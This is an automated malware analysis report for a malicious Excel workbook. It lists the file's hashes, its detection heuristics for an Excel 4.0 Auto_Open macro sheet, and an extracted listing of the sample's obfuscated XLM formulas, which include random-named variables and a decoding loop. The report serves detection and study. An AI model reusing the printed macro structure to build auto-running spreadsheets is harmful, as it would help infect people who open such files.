Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c792253485ca7ab4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:48 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 6334568e1bce4f34ca9d57fc49147116 SHA-1: 06d105f53c91849dc7135bedd51ff649b9cf5edc SHA-256: c792253485ca7ab46ee57e0ae254b01038b1716247a7bc53e3b803a7f1596bef
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6703 bytes
SHA-256: a4d8ca863f84482184a3c8dccb33c46a74d7346c653b781941ca6b7373c5f063
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  NKCsmtZ
' 0018     23 LABEL : Cell Value, String Constant - ApwdOInW len=0 
' 0018     22 LABEL : Cell Value, String Constant - aSnUxHV len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E197 
' 0018     26 LABEL : Cell Value, String Constant - clImoclaHLb len=0 
' 0018     27 LABEL : Cell Value, String Constant - dlqgUTDXDWua len=0 
' 0018     22 LABEL : Cell Value, String Constant - fuZMHHB len=0 
' 0018     22 LABEL : Cell Value, String Constant - GsbOElZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - hpknOkA len=0 
' 0018     23 LABEL : Cell Value, String Constant - JaZIALRw len=0 
' 0018     22 LABEL : Cell Value, String Constant - kAcxwzb len=0 
' 0018     20 LABEL : Cell Value, String Constant - nNFfi len=0 
' 0018     27 LABEL : Cell Value, String Constant - NSBdbZlPbuHc len=0 
' 0018     21 LABEL : Cell Value, String Constant - qdXEur len=0 
' 0018     26 LABEL : Cell Value, String Constant - QxcCvuqBCHn len=0 
' 0018     21 LABEL : Cell Value, String Constant - SrDryt len=0 
' 0018     27 LABEL : Cell Value, String Constant - TCoIWOyNEYCO len=0 
' 0018     23 LABEL : Cell Value, String Constant - TQYlLXFz len=0 
' 0018     20 LABEL : Cell Value, String Constant - tykRO len=0 
' 0018     22 LABEL : Cell Value, String Constant - uUcdUWT len=0 
' 0018     22 LABEL : Cell Value, String Constant - VXWnQth len=0 
' 0018     27 LABEL : Cell Value, String Constant - xmyjRquNdcVe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  NKCsmtZ,T55,"",-199.00000000000000000000
'  NKCsmtZ,T56,"",-14.00000000000000000000
'  NKCsmtZ,T57,"",565.00000000000000000000
'  NKCsmtZ,T58,"",-228.00000000000000000000
'  NKCsmtZ,T59,"",-831.00000000000000000000
'  NKCsmtZ,T60,"",75.00000000000000000000
'  NKCsmtZ,E98,"SET.NAME("JaZIALRw",0+VALUE("0"))",""
'  NKCsmtZ,E102,"SET.NAME("VXWnQth",JaZIALRw)",""
'  NKCsmtZ,E105,"SET.NAME("xmyjRquNdcVe",JaZIALRw)",""
'  NKCsmtZ,E110,"SET.NAME("TCoIWOyNEYCO",COUNTA(GsbOElZ))",""
'  NKCsmtZ,E114,"SET.NAME("TQYlLXFz",COUNTA(ApwdOInW))",""
'  NKCsmtZ,E119,[],""
'  NKCsmtZ,E121,"SET.NAME("clImoclaHLb","")",""
'  NKCsmtZ,E125,"VXWnQth",""
'  NKCsmtZ,E127,"SET.NAME("hpknOkA",HLOOKUP("*",GsbOElZ,VXWnQth,FALSE))",""
'  NKCsmtZ,E131,"qdXEur",""
'  NKCsmtZ,E136,"SET.NAME("fuZMHHB",JaZIALRw)",""
'  NKCsmtZ,E138,[],""
'  NKCsmtZ,E142,"fuZMHHB",""
'  NKCsmtZ,E145,"QxcCvuqBCHn",""
'  NKCsmtZ,E149,"aSnUxHV",""
'  NKCsmtZ,E152,"NSBdbZlPbuHc",""
'  NKCsmtZ,E157,"SET.NAME("dlqgUTDXDWua",VALUE(HLOOKUP("*",ApwdOInW,NSBdbZlPbuHc,FALSE)))",""
'  NKCsmtZ,E160,"tykRO",""
'  NKCsmtZ,E163,"clImoclaHLb",""
'  NKCsmtZ,E168,"xmyjRquNdcVe",""
'  NKCsmtZ,E173,NEXT(),""
'  NKCsmtZ,E177,"kAcxwzb",""
'  NKCsmtZ,E181,[],""
'  NKCsmtZ,E183,"SrDryt",""
'  NKCsmtZ,E188,NEXT(),""
'  NKCsmtZ,E192,RETURN(),""
'  NKCsmtZ,E226,"SET.NAME("uUcdUWT",E98)",""
'  NKCsmtZ,E228,"GsbOElZ",""
'  NKCsmtZ,E233,"SET.NAME("ApwdOInW",R91C14)",""
'  NKCsmtZ,E238,"SET.NAME("SrDryt",245)",""
'  NKCsmtZ,E240,"SET.NAME("nNFfi",5)",""
'  NKCsmtZ,E244,uUcdUWT(),""
'  NKCsmtZ,E245,HALT(),""

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